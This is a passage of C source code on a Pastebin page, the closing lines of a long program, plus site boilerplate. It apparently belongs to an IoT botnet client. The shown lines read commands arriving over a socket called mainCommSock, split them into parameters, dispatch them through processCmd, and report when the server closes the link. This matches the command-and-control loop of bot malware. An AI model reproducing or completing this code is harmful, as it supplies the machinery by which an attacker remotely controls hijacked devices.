  1880. // sockprintf(mainCommSock, "%s", buf);
  1881. memset(buf, 0, 1024);
  1882. sleep(1);
  1883. }
  1884. fdpclose(command);
  1885. exit(0);
  1886. }
  1887.  
  1888. unsigned char *params[10];
  1889. int paramsCount = 1;
  1890. unsigned char *pch = strtok(message, " ");
  1891. params[0] = command;
  1892.  
  1893. while(pch)
  1894. {
  1895. if(*pch != '\n')
  1896. {
  1897. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1898. memset(params[paramsCount], 0, strlen(pch) + 1);
  1899. strcpy(params[paramsCount], pch);
  1900. paramsCount++;
  1901. }
  1902. pch = strtok(NULL, " ");
  1903. }
  1904.  
  1905. processCmd(paramsCount, params);
  1906.  
  1907. if(paramsCount > 1)
  1908. {
  1909. int q = 1;
  1910. for(q = 1; q < paramsCount; q++)
  1911. {
  1912. free(params[q]);
  1913. }
  1914. }
  1915. }
  1916. }
  1917. //printf("Link closed by server.\n");
  1918. }
  1919.  
  1920. return 0;
  1921. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!